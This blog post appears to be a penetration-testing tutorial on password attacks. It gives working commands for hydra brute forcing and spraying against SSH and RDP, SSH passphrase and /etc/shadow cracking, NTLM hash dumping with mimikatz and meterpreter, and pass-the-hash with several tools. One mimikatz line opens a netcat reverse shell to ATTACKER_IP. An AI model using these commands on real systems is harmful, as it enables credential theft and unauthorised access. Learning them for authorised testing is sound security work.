Password Attacks – Ryan Denham

In this post I’ll highlight a few different password attacks against services, private keys and Windows NTLMv2 hashes. I’ll then cover how to relay the hashes instead of cracking them to gain access to accounts. This is just a brief covering of some techniques, there are many more password cracking techniques available.

SSH service

If we identify an SSH service running on the target, we can attempt to brute force or dictionary crack the credentials. Many times there may be rate limiting or lockout policies in place that would prevent this type of attack.

hydra -l <user_name> -P /usr/share/wordlists/rockyou.txt -s 22 ssh://<IP>

Using hydra to perform a dictionary based attack

hydra -L /usr/share/wordlists/user_names.txt -p "Winter2017!" ssh://<IP>

Using hydra to password spray one password against a set of usernames

Care must be taken to not cause user lockout or network disruption when performing service based password attacks.

RDP service

Similarly, we can carry out the same attack using Hydra against RDP.

hydra -L /usr/share/wordlists/user_names.txt -p "Winter2017!" rdp://<IP>

SSH Private Key Passphrase

If we find a private key for ssh, we may be able to crack the passphrase. Not all private keys have passphrases, and in that case we can simply log in with private key.

chmod 600 id_rsa

After downloading the id_rsa private key, we need to modify the permissions.

ssh2john id_rsa > ssh_hash

We’ll use John’s ssh2john to transform the key into the proper hash cracking format.

Then we’ll need to remove the filename before the colon of the outputted hash. Next we use hashcat to attempt to crack the passphrase. Since hashcat does not support modern based private key aes-256-ctr ciphers, we’ll need to use John for this.

john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash

To increase our odds of cracking, we can also implement Hashcat or John custom rules. These add variations like numbers, capitalizations or special characters to our wordlist. If the passphrase is successfully cracked, we can then use the private key and enter our newly cracked passphrase.

ssh -i id_rsa -p 22 user@<IP>

Windows NTLMv2

There are multiple ways to obtain NTLMv2 hashes on Windows based systems. The two easiest ways are using meterpreter or mimikatz.

meterpreter > run post/windows/gather/hashdump

If we have a meterpreter session, we can use this module to dump hashes. Meterpreter also has the kiwi module to use mimikatz functionality.

john --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hash

And then use john or hashcat to crack.

Mimikatz

If we have local administrator privileges, we can run mimikatz to dump any hashes on the machine

.\mimikatz privilege::debug sekurlsa::logonpasswords

mimikatz
privilege::debug
token::elevate
lsadump::sam

Extracting local hashes from SAM

mimikatz
privilege::debug
token::elevate
sekurlsa::msv

Extracting NTLM hashes from LSASS memory. Any local or domain user that has recently logged on to the machine

.\hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

Using hashcat to crack NTLMv2 with appropriate mode set

Linux /etc/shadow

If we are able to read the /etc/shadow file we can attempt to crack hashes. By default a non root user should not have access to read /etc/shadow

unshadow passwd shadow > unshadow

Using unshadow tool to combine passwd and shadow files into a file called unshadow

john unshadow --wordlist=/usr/share/wordlists/rockyou.txt

Then we can use john to crack hashes

Pass the Hash (PtH)

If we are unable to crack the hashes, on Windows based systems we can relay or Pass the Hash to attempt to gain access without even knowing the password. There are multiple tools that can execute this technique.

/usr/bin/impacket-wmiexec -hashes <hash> Administrator@IP

Using impacket-wmiexec module

token::revert sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<NTLM_HASH> /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 53"

Using mimikatz to PtH and launch a reverse shell. Will already need to have netcat on target.

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

RDP

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

Psexec

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

WinRM

crackmapexec smb IP/24 -u administrator -H 'LMHASH:NTHASH' --local-auth

Using crackmapexec to spray a password hash across network